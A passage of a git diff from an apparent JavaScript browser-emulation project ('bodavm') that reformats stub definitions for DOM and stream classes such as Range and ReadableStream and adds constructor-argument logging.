JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RadioNodeList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RadioNodeList'], "RadioNodeList"); +bodavm.memory.globalobj['RadioNodeList'].prototype.__proto__ = bodavm.memory.globalobj['NodeList'].prototype; +bodavm.memory.globalobj['RadioNodeList'].__proto__ = bodavm.memory.globalobj['NodeList']; +bodavm.toolsFunc.defineProperty('RadioNodeList', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RadioNodeList'].prototype, "RadioNodeList", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RadioNodeList'].prototype, "RadioNodeList", "value_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Range.js b/env_xbb_lastest_jsdom/env/Range.js index 1086d2a5..5c648f64 100644 --- a/env_xbb_lastest_jsdom/env/Range.js +++ b/env_xbb_lastest_jsdom/env/Range.js @@ -1,39 +1,272 @@ -// Range对象 -bodavm.memory.globalobj['Range'] = function Range(){this._boarg= new bodaobj.window.Range();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Range'], "Range"); -bodavm.memory.globalobj['Range'].prototype.__proto__=bodavm.memory.globalobj['AbstractRange'].prototype; -bodavm.memory.globalobj['Range'].__proto__=bodavm.memory.globalobj['AbstractRange']; -bodavm.toolsFunc.defineProperty('Range', "START_TO_START", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('Range', "START_TO_END", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('Range', "END_TO_END", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('Range', "END_TO_START", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('Range', "commonAncestorContainer", {configurable:true, enumerable:true, get:function commonAncestorContainer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "commonAncestorContainer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "START_TO_START", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "START_TO_END", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "END_TO_END", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "END_TO_START", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "cloneContents", {configurable:true, enumerable:true, writable:true, value:function cloneContents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "cloneContents", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "cloneRange", {configurable:true, enumerable:true, writable:true, value:function cloneRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "cloneRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "collapse", {configurable:true, enumerable:true, writable:true, value:function collapse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "collapse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "compareBoundaryPoints", {configurable:true, enumerable:true, writable:true, value:function compareBoundaryPoints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "compareBoundaryPoints", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "comparePoint", {configurable:true, enumerable:true, writable:true, value:function comparePoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "comparePoint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "createContextualFragment", {configurable:true, enumerable:true, writable:true, value:function createContextualFragment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "createContextualFragment", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "deleteContents", {configurable:true, enumerable:true, writable:true, value:function deleteContents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "deleteContents", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "detach", {configurable:true, enumerable:true, writable:true, value:function detach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "detach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "expand", {configurable:true, enumerable:true, writable:true, value:function expand (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "expand", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "extractContents", {configurable:true, enumerable:true, writable:true, value:function extractContents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "extractContents", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "getBoundingClientRect", {configurable:true, enumerable:true, writable:true, value:function getBoundingClientRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "getBoundingClientRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "getClientRects", {configurable:true, enumerable:true, writable:true, value:function getClientRects (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "getClientRects", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "insertNode", {configurable:true, enumerable:true, writable:true, value:function insertNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "insertNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "intersectsNode", {configurable:true, enumerable:true, writable:true, value:function intersectsNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "intersectsNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "isPointInRange", {configurable:true, enumerable:true, writable:true, value:function isPointInRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "isPointInRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "selectNode", {configurable:true, enumerable:true, writable:true, value:function selectNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "selectNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "selectNodeContents", {configurable:true, enumerable:true, writable:true, value:function selectNodeContents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "selectNodeContents", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "setEnd", {configurable:true, enumerable:true, writable:true, value:function setEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setEnd", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "setEndAfter", {configurable:true, enumerable:true, writable:true, value:function setEndAfter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setEndAfter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "setEndBefore", {configurable:true, enumerable:true, writable:true, value:function setEndBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setEndBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "setStart", {configurable:true, enumerable:true, writable:true, value:function setStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setStart", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "setStartAfter", {configurable:true, enumerable:true, writable:true, value:function setStartAfter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setStartAfter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "setStartBefore", {configurable:true, enumerable:true, writable:true, value:function setStartBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setStartBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "surroundContents", {configurable:true, enumerable:true, writable:true, value:function surroundContents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "surroundContents", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "toString", arguments)}},'prototype'); +// Range对象 + +bodavm.memory.globalobj['Range'] = function Range() { + console.log_copy('Range 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Range(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Range'], "Range"); +bodavm.memory.globalobj['Range'].prototype.__proto__ = bodavm.memory.globalobj['AbstractRange'].prototype; +bodavm.memory.globalobj['Range'].__proto__ = bodavm.memory.globalobj['AbstractRange']; +bodavm.toolsFunc.defineProperty('Range', "START_TO_START", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('Range', "START_TO_END", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('Range', "END_TO_END", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('Range', "END_TO_START", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('Range', "commonAncestorContainer", { + configurable: true, + enumerable: true, + get: function commonAncestorContainer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "commonAncestorContainer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "START_TO_START", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "START_TO_END", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "END_TO_END", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "END_TO_START", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "cloneContents", { + configurable: true, + enumerable: true, + writable: true, + value: function cloneContents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "cloneContents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "cloneRange", { + configurable: true, + enumerable: true, + writable: true, + value: function cloneRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "cloneRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "collapse", { + configurable: true, + enumerable: true, + writable: true, + value: function collapse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "collapse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "compareBoundaryPoints", { + configurable: true, + enumerable: true, + writable: true, + value: function compareBoundaryPoints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "compareBoundaryPoints", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "comparePoint", { + configurable: true, + enumerable: true, + writable: true, + value: function comparePoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "comparePoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "createContextualFragment", { + configurable: true, + enumerable: true, + writable: true, + value: function createContextualFragment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "createContextualFragment", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "deleteContents", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteContents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "deleteContents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "detach", { + configurable: true, + enumerable: true, + writable: true, + value: function detach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "detach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "expand", { + configurable: true, + enumerable: true, + writable: true, + value: function expand() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "expand", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "extractContents", { + configurable: true, + enumerable: true, + writable: true, + value: function extractContents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "extractContents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "getBoundingClientRect", { + configurable: true, + enumerable: true, + writable: true, + value: function getBoundingClientRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "getBoundingClientRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "getClientRects", { + configurable: true, + enumerable: true, + writable: true, + value: function getClientRects() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "getClientRects", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "insertNode", { + configurable: true, + enumerable: true, + writable: true, + value: function insertNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "insertNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "intersectsNode", { + configurable: true, + enumerable: true, + writable: true, + value: function intersectsNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "intersectsNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "isPointInRange", { + configurable: true, + enumerable: true, + writable: true, + value: function isPointInRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "isPointInRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "selectNode", { + configurable: true, + enumerable: true, + writable: true, + value: function selectNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "selectNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "selectNodeContents", { + configurable: true, + enumerable: true, + writable: true, + value: function selectNodeContents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "selectNodeContents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "setEnd", { + configurable: true, + enumerable: true, + writable: true, + value: function setEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setEnd", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "setEndAfter", { + configurable: true, + enumerable: true, + writable: true, + value: function setEndAfter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setEndAfter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "setEndBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function setEndBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setEndBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "setStart", { + configurable: true, + enumerable: true, + writable: true, + value: function setStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setStart", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "setStartAfter", { + configurable: true, + enumerable: true, + writable: true, + value: function setStartAfter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setStartAfter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "setStartBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function setStartBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "setStartBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "surroundContents", { + configurable: true, + enumerable: true, + writable: true, + value: function surroundContents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "surroundContents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ReadableByteStreamController.js b/env_xbb_lastest_jsdom/env/ReadableByteStreamController.js index 863c0c78..be3d8652 100644 --- a/env_xbb_lastest_jsdom/env/ReadableByteStreamController.js +++ b/env_xbb_lastest_jsdom/env/ReadableByteStreamController.js @@ -1,8 +1,57 @@ -// ReadableByteStreamController对象 -bodavm.memory.globalobj['ReadableByteStreamController'] = function ReadableByteStreamController(){if (!(this instanceof ReadableByteStreamController)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableByteStreamController'], "ReadableByteStreamController"); -bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "byobRequest", {configurable:true, enumerable:true, get:function byobRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "byobRequest_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "desiredSize", {configurable:true, enumerable:true, get:function desiredSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "desiredSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "enqueue", {configurable:true, enumerable:true, writable:true, value:function enqueue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "enqueue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "error", {configurable:true, enumerable:true, writable:true, value:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "error", arguments)}},'prototype'); +// ReadableByteStreamController对象 + +bodavm.memory.globalobj['ReadableByteStreamController'] = function ReadableByteStreamController() { + console.log_copy('ReadableByteStreamController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ReadableByteStreamController)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableByteStreamController'], "ReadableByteStreamController"); +bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "byobRequest", { + configurable: true, + enumerable: true, + get: function byobRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "byobRequest_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "desiredSize", { + configurable: true, + enumerable: true, + get: function desiredSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "desiredSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "enqueue", { + configurable: true, + enumerable: true, + writable: true, + value: function enqueue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "enqueue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableByteStreamController', "error", { + configurable: true, + enumerable: true, + writable: true, + value: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableByteStreamController'].prototype, "ReadableByteStreamController", "error", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ReadableStream.js b/env_xbb_lastest_jsdom/env/ReadableStream.js index db353402..806dd359 100644 --- a/env_xbb_lastest_jsdom/env/ReadableStream.js +++ b/env_xbb_lastest_jsdom/env/ReadableStream.js @@ -1,9 +1,62 @@ -// ReadableStream对象 -bodavm.memory.globalobj['ReadableStream'] = function ReadableStream(){this._boarg= new bodaobj.window.ReadableStream();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStream'], "ReadableStream"); -bodavm.toolsFunc.defineProperty('ReadableStream', "locked", {configurable:true, enumerable:true, get:function locked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "locked_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStream', "cancel", {configurable:true, enumerable:true, writable:true, value:function cancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "cancel", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStream', "getReader", {configurable:true, enumerable:true, writable:true, value:function getReader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "getReader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStream', "pipeThrough", {configurable:true, enumerable:true, writable:true, value:function pipeThrough (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "pipeThrough", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStream', "pipeTo", {configurable:true, enumerable:true, writable:true, value:function pipeTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "pipeTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStream', "tee", {configurable:true, enumerable:true, writable:true, value:function tee (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "tee", arguments)}},'prototype'); +// ReadableStream对象 + +bodavm.memory.globalobj['ReadableStream'] = function ReadableStream() { + console.log_copy('ReadableStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.ReadableStream(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStream'], "ReadableStream"); +bodavm.toolsFunc.defineProperty('ReadableStream', "locked", { + configurable: true, + enumerable: true, + get: function locked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "locked_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStream', "cancel", { + configurable: true, + enumerable: true, + writable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "cancel", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStream', "getReader", { + configurable: true, + enumerable: true, + writable: true, + value: function getReader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "getReader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStream', "pipeThrough", { + configurable: true, + enumerable: true, + writable: true, + value: function pipeThrough() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "pipeThrough", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStream', "pipeTo", { + configurable: true, + enumerable: true, + writable: true, + value: function pipeTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "pipeTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStream', "tee", { + configurable: true, + enumerable: true, + writable: true, + value: function tee() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStream'].prototype, "ReadableStream", "tee", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ReadableStreamBYOBReader.js b/env_xbb_lastest_jsdom/env/ReadableStreamBYOBReader.js index a1447caf..7a26dbce 100644 --- a/env_xbb_lastest_jsdom/env/ReadableStreamBYOBReader.js +++ b/env_xbb_lastest_jsdom/env/ReadableStreamBYOBReader.js @@ -1,7 +1,49 @@ -// ReadableStreamBYOBReader对象 -bodavm.memory.globalobj['ReadableStreamBYOBReader'] = function ReadableStreamBYOBReader(){if (!(this instanceof ReadableStreamBYOBReader)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ReadableStreamBYOBReader': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamBYOBReader'], "ReadableStreamBYOBReader"); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "read", {configurable:true, enumerable:true, writable:true, value:function read (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "read", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "releaseLock", {configurable:true, enumerable:true, writable:true, value:function releaseLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "releaseLock", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "closed", {configurable:true, enumerable:true, get:function closed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "closed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "cancel", {configurable:true, enumerable:true, writable:true, value:function cancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "cancel", arguments)}},'prototype'); +// ReadableStreamBYOBReader对象 + +bodavm.memory.globalobj['ReadableStreamBYOBReader'] = function ReadableStreamBYOBReader() { + console.log_copy('ReadableStreamBYOBReader 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ReadableStreamBYOBReader)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ReadableStreamBYOBReader': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamBYOBReader'], "ReadableStreamBYOBReader"); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "read", { + configurable: true, + enumerable: true, + writable: true, + value: function read() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "read", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "releaseLock", { + configurable: true, + enumerable: true, + writable: true, + value: function releaseLock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "releaseLock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "closed", { + configurable: true, + enumerable: true, + get: function closed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "closed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBReader', "cancel", { + configurable: true, + enumerable: true, + writable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBReader'].prototype, "ReadableStreamBYOBReader", "cancel", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ReadableStreamBYOBRequest.js b/env_xbb_lastest_jsdom/env/ReadableStreamBYOBRequest.js index 7c2f11a1..c3158c71 100644 --- 